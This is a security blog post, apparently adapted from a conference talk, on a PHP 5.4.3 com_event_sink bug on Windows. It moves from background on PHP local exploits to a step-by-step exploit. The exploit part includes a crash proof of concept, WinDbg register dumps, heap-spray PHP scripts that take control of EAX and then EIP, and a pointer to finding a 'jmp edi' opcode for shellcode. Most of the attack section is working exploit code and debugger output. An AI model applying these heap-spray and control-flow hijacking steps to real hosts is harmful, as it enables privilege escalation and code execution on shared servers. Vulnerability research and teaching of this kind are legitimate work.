• Web-App Remote Code Execution Via Scripting Engines Part -1: Local Exploits PHP 0-day


    This would be part-1 one of my C0C0n talk , where I demonstrated few PHP 0-days, Local and Remote . The entire concept of the talk was demonstrating attacks on WebApplications via scripting engines.

    In a common Webapp test we manipulates Input , that a common end user controls and check for responses from the app. But since these data passed are processed by the PHP,ASP engines that are used to build these apps. We were fuzzing and trying to figure out issues in these engines that could be attacked by common user. My talk had two parts Local Attacks and Remote Attacks. Local attacks I demonstrated ways to do privilege escalation exploiting PHP and in Remote Attacks we mapped PHP functions that took arguments from remote users like File processing and Image Processing functions and demonstrated ways to exploit them.The entire presentation concentrated on PHP core Bugs.


    Current post would be on PHP local attacks only [The first part of the Talk] , since once of these issue is already out, it's time to blog.

    I would put down some intro on PHP architecture, the history of PHP local attacks and exploits that were commonly used in the wild for privilege escalation followed by my our own 0-days [The way how I delivered my Talk].



    Note: The images put up here are not created by me, at the time of making PPTs I downloaded them via google images, and now I have no clue whom to give credit.


    Web Application How Stuffs Work.

    1) User[browser] Send Inputs to Webapp -
    2) Http Server catches and
    3) Passes it to Web App -->
    4) WebApp send it to Scripting engine to process it.




    PHP Architecture :

    These digrams are good enough to explain php Architecture in Detail, instead of me writing about them in detail.

    1)


    PHP + Apache Security Architecture :


    1) So if we could execute code in context of PHP , you would be able to break out many restrictions.
    2) Should be able to get shell access to hardned PHP Hosts.
    3) Shared hosting Windows servers are affected the most.
    4) These sort of bugs are rated 10/10 in a CVE score by PHP.



    Why PHP Local Exploits.

    1) For Privilege Escalation
    2) Code Execution in Protected Environments
    3) Bypassing Security Restrictions

    History of PHP Local Exploits for Bug Hunters:

    1) PHP Symlink Exploit
    2) PHP Nginx Exploit
    3) _php_stream_scandir
    4)CVE-2011-3268 [crypt function]

    The best of PHP bug hunts were done by i0nic and team for there "Month of PHP Security" in 2007 and 2010 . About 60 security issues were identified and few POCs were released.

    Or you coud Browse this well organized archive . PHP : Products and vulnerabilities

    In April 2012 I found few local security issues , that were added to CoCon CFP , which later was identified by condis PHP <= 5.4.3 (com_event_sink) Code Execution Proof of Concept - CXSecurity WLB independently . Now that this issue is Public , I will put down my analysis notes on getting code execution on this bug. Current bug only affect PHP Windows.

    PHP 5.4.3 Com_event_sink 0-day:


    The Vulnerable Function:

    PHP Provides a module to interact with COM and .Net (Windows). In that com_event_sink is used the following way.

    It allows users to call a COM instance , in current case [IE] and interact with it.
    Note: This feature is handy if the server you have access has disallowed other mechanism to download files to it like .

    The following code will open an IE instance and download the webpage Google. The function com_event_sink takes three arguments.

    1) --> $ie = new COM("InternetExplorer.Application");

    Address of the Com object to be interacted

    2) --> Sink Object

    3) -- > Sink Interface

    com_event_sink($ie, $sink, "DWebBrowserEvents2");

    PHP Code:
    <?php
    class IEEventSinker {
        var 
    $terminated false;

       function 
    ProgressChange($progress$progressmax) {
          echo 
    "Download progress: $progress / $progressmax\n";
        }

        function 
    DocumentComplete(&$dom$url) {
          echo 
    "Document $url complete\n";
        }

        function 
    OnQuit() {
          echo 
    "Quit!\n";
          
    $this->terminated true;
        }
    }
    $ie = new COM("InternetExplorer.Application");
    // note that you don't need the & for PHP 5!
    $sink = new IEEventSinker();
    com_event_sink($ie$sink"DWebBrowserEvents2");
    $ie->Visible true;
    $ie->Navigate("http://www.google.com");
    while(!
    $sink->terminated) {
      
    com_message_pump(4000);
    }
    $ie null;
    ?>
    The Bug:


    The first argument is the adress of the COM object to load and it's controlled by the user. And no validation is done on the address, and this is address is directly used. [Very Bad logic]
    PHP Code:
    $ie = new COM("InternetExplorer.Application");
    // note that you don't need the & for PHP 5!
    $sink = new IEEventSinker();

    com_event_sink($ie$sink"DWebBrowserEvents2"); 

    POC

    PHP Code:
    <?php


    $buffer 
    str_repeat("B"1000);


    $vVar = new VARIANT(0x43434343); // We controll this
    $vVar2 = new VARIANT(0x41414141); // 


    com_event_sink($vVar$vVar2 $buffer );

    ?>
    Code:
    (310.1fc): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000000 ebx=00000000 ecx=00372ad0 edx=0114dd88 esi=43434343 edi=0114d9b8
    eip=102f59bd esp=00c1f988 ebp=00c1f9dc iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
    *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\wamp\bin\php\php5.4.3\php5ts.dll - 
    php5ts!php_strftime+0xadc:
    
    102f59bd 8b06            mov     eax,dword ptr [esi]  ds:0023:43434343=????????  
    102f59bf 8d4dd4          lea     ecx,[ebp-2Ch]
    102f59c2 51              push    ecx
    102f59c3 53              push    ebx
    102f59c4 53              push    ebx
    102f59c5 56              push    esi
    102f59c6 ff5010          call    dword ptr [eax+10h]
    Cool we control ESI fully and instruction crashes since Mov to EAX fails since ESI point to an Invalide Address

    ----> mov eax,dword ptr [esi] ds:0023:43434343=????????

    And EDI holds third argument , enough to hold some shellcode.

    Code:
    0:000> d edi
    0114d9f8  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
    0114da08  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
    0114da18  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
    0114da28  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
    0114da38  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB

    Code Execution [Exploitation]:

    *) We control ESI and there by could take control over EAX ,
    *) if we put ESI with a valid address and fill that memory with an arbitary mem adress then EAX would be in our hands.
    *) And at 102f59c6 call dword ptr [eax+10h] , we can easily control EIP , since we control EAX and there by could make the call land any where we want [voila] .
    *)So we need to spray with two different values one value for Controlling EAX and guiding [CALL] instruction to a valid adress space and another to control [EIP] and get complete control over the program.

    In short :

    $EIP="AAAA"; //JMP EDI
    $EAX="BBBB " -10h;
    $spray = $EIP.$EAX;


    1) Do some spray take control of EAX .
    2) Make the adress [Adress -10h ] since it's CALL EAX+10h.
    3) So fill ESI memory with "\x34\x43\x42\x41"

    PHP Code:
    <?php
     

    $spray 
    str_repeat("\x34\x43\x42\x41",0x100);
    //We wann make EAX = 41424343 so l-india. 
    echo strlen($spray);


    $deodrant="";
    for(
    $i=0;$i<0x4b00;$i++)
    {
        
    $deodrant.=$spray;
    }


    $terminate "T";

    $u[] =$deodrant;

    $r[] =$deodrant.$terminate;
    $a[] =$deodrant.$terminate;
    $s[] =$deodrant.$terminate;

     
    $vVar = new VARIANT(0x048d0000+180);   //We control this
    //$buffer = str_repeat("B",200);
    $buffer "\x41\x42\x43\x44\x90\x90\x90\x90\xcc\xcc\xcc\xcc\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
    $var2 = new VARIANT(0x41414242);

    com_event_sink($vVar,$var2,$buffer);



     
    ?>
    Code:
    (1fc.b7c): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=41424334 ebx=00000000 ecx=00c1f9b0 edx=0114dbf0 esi=048d00b4 edi=0114dc48
    eip=102f59c6 esp=00c1f978 ebp=00c1f9dc iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
    *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\wamp\bin\php\php5.4.3\php5ts.dll - 
    php5ts!php_strftime+0xae5:
    
    102f59c2 51              push    ecx
    102f59c3 53              push    ebx
    102f59c4 53              push    ebx
    102f59c5 56              push    esi
    102f59c6 ff5010          call    dword ptr [eax+10h]  ds:0023:41424344=????????
    Now spray with two different values one value for Controlling EAX and guiding [CALL] instruction to a valid adress space and another to control [EIP] and get complete control over the program.


    PHP Code:
    <?php
     
    $eip 
    ="\x44\x43\x42\x41";
    //$eip= "\x4b\xe8\x57\x78"; jmp edi
    $eax ="\x80\x01\x8d\x04";
    $deodrant="";
    $axespray str_repeat($eip.$eax,0x80);

    //048d0190
    echo strlen($axespray);


    //19200 ==4B32 4b00
    for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++)
    {
        
    $deodrant.=$axespray;
    }


    $terminate "T";

    $u[] =$deodrant;

    $r[] =$deodrant.$terminate;
    $a[] =$deodrant.$terminate;
    $s[] =$deodrant.$terminate;

     
    $vVar = new VARIANT(0x048d0000+180); 
    $buffer "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
    $var2 = new VARIANT(0x41414242);

    com_event_sink($vVar,$var2,$buffer);



     
    ?>
    And Voila EIP ="woot woot"

    Code:
    (cb0.7d4): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=048d0180 ebx=00000000 ecx=00c1f9b0 edx=0114dbc8 esi=048d00b4 edi=0114dc20
    eip=41414141 esp=00c1f974 ebp=00c1f9dc iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
    41414141 ??              ???
    Now you know it's pretty easy , and you know where the shellcode is and things are pretty obvious.

    > !load byakugan
    >!jutsu searchOpcode jmp edi

    Code with a simple "Message Box " shellcode form our friend Atul



    Next Part of the Blog Would be on the Remote PHP Exploits, might have to wait a long time till things get patched up.

    I have build a Fully Functional Exploit with DEP Bypass, am not putting it here [even though it's pretty obvious on how to form this post]. But who ever wan't to play with it for learning purposes I could share it.
    This article was originally published in blog: Web-App Remote Code Execution Via Scripting Engines Part -1: Local Exploits PHP 0-day started by fb1h2s
    Comments 1 Comment
    1. sebas_phoenix's Avatar
      sebas_phoenix -
      Nice exploit bro..it would be more useful if you could document the bug hunting phase too
  • G4H Facebook

  • G4H Twitter